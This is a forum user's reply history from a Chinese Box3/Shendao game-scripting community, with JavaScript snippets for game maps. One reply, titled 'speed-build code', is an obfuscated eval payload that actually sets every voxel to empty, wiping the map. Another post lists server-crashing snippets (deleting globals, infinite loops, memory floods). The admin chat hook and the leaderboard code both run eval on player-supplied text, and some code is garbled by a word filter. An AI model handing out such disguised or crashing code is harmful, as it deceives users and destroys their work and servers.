猫史档案馆


QC一二二一

QC一二二一

Lv.1

获赞:9收藏:1浏览:45作品收藏:0
回复帖子评论
上一页1 页 / 共 2下一页

【box3】YDS尹子代码分享:画平面圆工具 中回复

翻译:

创建变量“start”初始值为{x:64,y:9,z:64}

创建变量“rad”初始值为6

创建变量“block”初始值为null

使用“radius”变量从1遍历rad次【

        使用“angle”变量从0遍历360次【

                创建变量“x”初始值为(四舍五入(sin(圆周率 ÷ 180 × angle)× radius+start的X坐标))

                创建变量“z”初始值为(四舍五入(sin(圆周率 ÷ 180 × angle)× radius+start的Z坐标))

                在(x,start.y,z)处放置方块(block)

        】

2022-02-04T14:22:46 点赞:0

【神岛】把这个乱码放到地图,会怎样? 中回复

好……好奇…………好奇心…………害…………害喵…………害喵…………喵…………猫

我用了,怎么办啊?!

2022-06-16T19:12:49 点赞:0

【岛3】屑SQL意见箱教程 中回复

为了让更多人看到,不得不顶!我也收藏咯!

2022-06-16T19:20:09 点赞:0

怎么用代码实现每15秒都会说"春天到了" 中回复

setInterval(()=>world.say('春天到了'),15000)

2022-06-23T11:52:56 点赞:0

怎样制作排行榜 中回复

挖坟!

(()=>{
    c喵t e=world.querySelector('#排行榜');//在世界里面选择名为“排行榜”的实体
    e.enableInteract=true;//允许让他和其他实体交互
    e.interactHint='排行榜';
    e.interactRadius=5;
    e.onInteract(({entity})=>{
        var g=[];
        world.querySelectorAll('player').forEach((p)=>{
            g.push({f:p.coin,n:p.player.name});
        });
        for(this.i=0;i<g.length;i++){
            for(this.j=0;j<g.length;j++){
                if(g[i].f>g[j].f){
                    c喵t r=g[j];
                    g[j]=g[i]
                    g[i]=r;
                }
            }
        }
        var _g='';
        for(c喵t e in g){
            _g+=(`第${Number(e)+1}名:${g[e].n}有${g[e].f}金币\\n`)
        }
        entity.player.dialog({
            type:Box3DialogType.TEXT,
            title:'排行榜',
            content:eval(`"${_g}"`)
        })
    })
})()

2022-06-24T12:10:50 点赞:0

神岛招人作图: 中回复

顶!

2022-06-25T10:59:45 点赞:0

【神岛】图形化的问题 中回复

教大家如何体验到代码岛的图形化:去box.codemao.cn这个链接,就能体验!(

2022-07-02T13:23:01 点赞:1

踢出玩家的代码 中回复

(n=>world.querySelectorAll('player').filter(o=>o.player.name==n)[0].player.kick())('踢出你要踢出玩家的名字')

2022-07-19T11:07:33 点赞:0

被毁图了用版本还原怎么也还原不回去,求助!急! 中回复

从上往下依次还原,不要一下子还原很多,直到还原到你想要的效果

2022-07-19T11:08:27 点赞:0

每日一水( ) 中回复

喜悦的小米这玩意还私信打扰我小号正常游玩hh

2022-07-30T08:55:44 点赞:1

急需管喵代码a谁有aaaaaaaaaaa 中回复

var administrators = [];/*这里添加要填写管理的名字*/
world.onChat(({entity,message})=>administrators.includes(entity.player.name)&&message[0]=='$'&&(async()=>world.say('<~ '+eval(message.slice(1))))().catch(error=>world.say('<~ '+error)));

2022-07-30T11:53:52 点赞:0

神岛:一段来自迷雾测试地图的一段代码 中回复

(以牙还牙)顶上来让迷雾看到干了你

2022-08-05T16:26:42 点赞:0

{ 神岛 } 当你作啊喵写危险代码…… 中回复

回复楼下:

delete Math:你觉得我是空气对吧

for(var e in globalThis)globalThis[e]=undefined:有本事用setter让我不能修改

for(;;); :那我走?

(async()=>{while(true){await new Promise(resolve=>setTimeout(resolve,1));console.error(new Int8Array(416667))}}) :有本事把Promise函数禁用,setTimeout函数禁用,console.error函数禁用

2022-08-06T22:38:09 点赞:0

今日,混沌突现阳光() 中回复

有没有一种可能,F12

2022-08-08T12:04:22 点赞:0

啊谁会速建啊! 中回复

我在场发一下速建代码

eval((![]+'')[+[]]+({}+'')[+!![]]+'\u0072\u0028\u0076\u0061\u0072\u0020\u0078\u003D'+String.fromCharCode(0x30)+';x<='+decodeURI('%76%6F%78%65%6C%73%2E%73%68%61%70%65%2E%78')+';\x78++)'+(![]+'')[+[]]+({}+'')[+!![]]+'\u0072\u0028\u0076\u0061\u0072\u0020\u0079\u003D'+String.fromCharCode(0x30)+';y<='+decodeURI('%76%6F%78%65%6C%73%2E%73%68%61%70%65%2E%79')+';\x79++)'+(![]+'')[+[]]+({}+'')[+!![]]+'\u0072\u0028\u0076\u0061\u0072\u0020\u007a\u003D'+String.fromCharCode(0x30)+';z<='+decodeURI('%76%6F%78%65%6C%73%2E%73%68%61%70%65%2E%7A')+';\x7A++)'+'\x76\x6F\x78\x65\x6C\x73\x2E\x73\x65\x74\x56\x6F\x78\x65\x6C\x28\x78\x2C\x79\x2C\x7A\x2C\x30\x29;')

2022-08-08T19:28:33 点赞:0

{ 神岛 教程 } 强化方块碰撞系统,适合用于跑酷中! 中回复

此代码有点问题,改进后:

world.onTick(()=>{
    world.querySelectorAll('player').forEach(entity=>{
        const v=(x,y,z)=>new Box3Vector3(x,y,z);//缩短Box3Vector3
        const g=(v)=>voxels.getVoxel(v.x,v.y,v.z);//缩短voxels.getVoxel
        const x=entity.bounds.x;//用x,y,z缩短玩家的体积长宽高的1/2
        const y=entity.bounds.y+0.25;//y检测加多一点是因为跳着瞬间起来的话要检测还要广一点,光加0.1也是有几率检测不到
        const z=entity.bounds.z;
        const add=0.1;//数值可以调
        const p=entity.position.clone();//用p缩短玩家的位置
        const allAround=[
            v(p.x+x+add,p.y+y+add,p.z+z+add),//加0.1是因为如果要加强,那么要检测的更广 
            v(p.x+x+add,p.y+y+add,p.z-z-add),
            v(p.x+x+add,p.y+y+add,p.z),
            v(p.x+x+add,p.y-y-add,p.z+z+add), 
            v(p.x+x+add,p.y-y-add,p.z-z-add),
            v(p.x+x+add,p.y-y-add,p.z),
            v(p.x+x+add,p.y,p.z+z+add),
            v(p.x+x+add,p.y,p.z-z-add),
            v(p.x+x+add,p.y,p.z),
            v(p.x-x-add,p.y+y+add,p.z+z+add),
            v(p.x-x-add,p.y+y+add,p.z-z-add),
            v(p.x-x-add,p.y+y+add,p.z),
            v(p.x-x-add,p.y-y-add,p.z+z+add), 
            v(p.x-x-add,p.y-y-add,p.z-z-add),
            v(p.x-x-add,p.y-y-add,p.z),
            v(p.x-x-add,p.y,p.z+z+add),
            v(p.x-x-add,p.y,p.z-z-add),
            v(p.x-x-add,p.y,p.z),
            v(p.x,p.y+y+add,p.z+z+add),
            v(p.x,p.y+y+add,p.z-z-add),
            v(p.x,p.y+y+add,p.z),
            v(p.x,p.y-y-add,p.z+z+add), 
            v(p.x,p.y-y-add,p.z-z-add),
            v(p.x,p.y-y-add,p.z),
            v(p.x,p.y,p.z+z+add),
            v(p.x,p.y,p.z-z-add),
            v(p.x,p.y,p.z),
        ];//四周位置 
        for(const e of allAround){
            if(g(e)==voxels.id('lava02')){//帖主把岩浆的方块名称写成了lava_02,正确的应该是lava02
                entity.hurt(100);
                break;//退出循环是为了防止多次检测到玩家碰撞
            }//如果检测到玩家碰到岩浆那么就直接KO掉
        }
    })
});

其实getEntityBounds这个函数是没用的)

2022-08-10T09:07:06 点赞:0

{ 神岛 } 招人做跑酷 中回复

要求:可以摸鱼

2022-08-11T12:19:48 点赞:0

{ 神岛 教程 } 强化方块碰撞系统,适合用于跑酷中! 中回复

顶顶顶

2022-08-12T08:52:44 点赞:0

首页牛批()()() 中回复

漂亮,把混沌神域挤到第二行了()()混沌必无()()

2022-08-12T11:54:52 点赞:0

【求解答】如何让开始后可以建造方块但无法破坏已有方块 中回复

你别破坏方块就行了

2022-08-13T15:33:24 点赞:0

BUG又来了 中回复

while( 1 == 1 ){};//没有等待的喵循环会导致服务器崩溃,正确写法应该:
(async()=>{//等待代码必须放在异步函数里面
    while(true){//1==1得到的值就是true
        await world.nextTick();//等待下一个tick
        world.say(...);
    }
})();

//还有,对象里面用的不是var
//这是你的错误写法
var object = {
    var : key = value
};
//正确应该这样写
var object = {
    key: value
}

2022-08-14T10:43:27 点赞:3

Technoblate no die!关于我在神岛里面做猪皇模型这件事 中回复

这谁挖的坟啊()

2022-08-14T11:04:06 点赞:0

快来有工资(混沌铁) 中回复

???

2022-08-14T11:05:54 点赞:0

【投票】你心目中最难的跑酷是什么? 中回复

HELL的话,虽然很难,但是我自觉简单()()

我的魔鬼训练的话,浏览量只有不到100,所以通关的只有我()()

那么就是美工喵的超难跑酷了()()我全程使用跳关()()

2022-08-14T18:08:45 点赞:0

【发起挑战 你能通关吗 中回复

挖坟

2022-08-14T20:24:19 点赞:0

【发起挑战 你能通关吗 中回复

啊这,算通关吗,反正我走遍了地图所有能走的路

center_image

2022-08-14T20:52:22 点赞:1

【观猴子】此人名为清.浅丶。运用挂装大佬,粉丝66,地图一个1K也没有,而且句句显示自己会用挂(搞笑 中回复

光是一个油猴就能走遍岛三()()

2022-08-15T09:50:09 点赞:0

【发起挑战 你能通关吗 中回复

俺是从这个地方跳下来的)

()(拼手速截图)

center_image

为了再截图一次我又重跑了一遍最后一关)

center_image

 

2022-08-15T15:20:26 点赞:0

{ 神岛 } 问一个问题:水图指什么? 中回复

水图到底指什么??????

(来自四队炸弹之战的评论)(挖坟看见的)

center_image

 

 

 

 

center_image

击杀玩家……队伍加分……你玩一下就知道了还有4个关于炸弹类的道具……

普通的PVP地图能上首,是吉吉喵的问题

但是你说这图水,就很不应该

我真的很想知道水图到底指什么啊啊啊谁能告诉我

2022-08-15T15:40:24 点赞:0

救命啊啊啊哪位代码师来帮我看看 中回复

你是不是用了setInterval再加world.querySelectorAll('player').forEach,这应该是空气人的原因,加个条件“if(!o)return”就行了

2022-08-16T15:57:21 点赞:0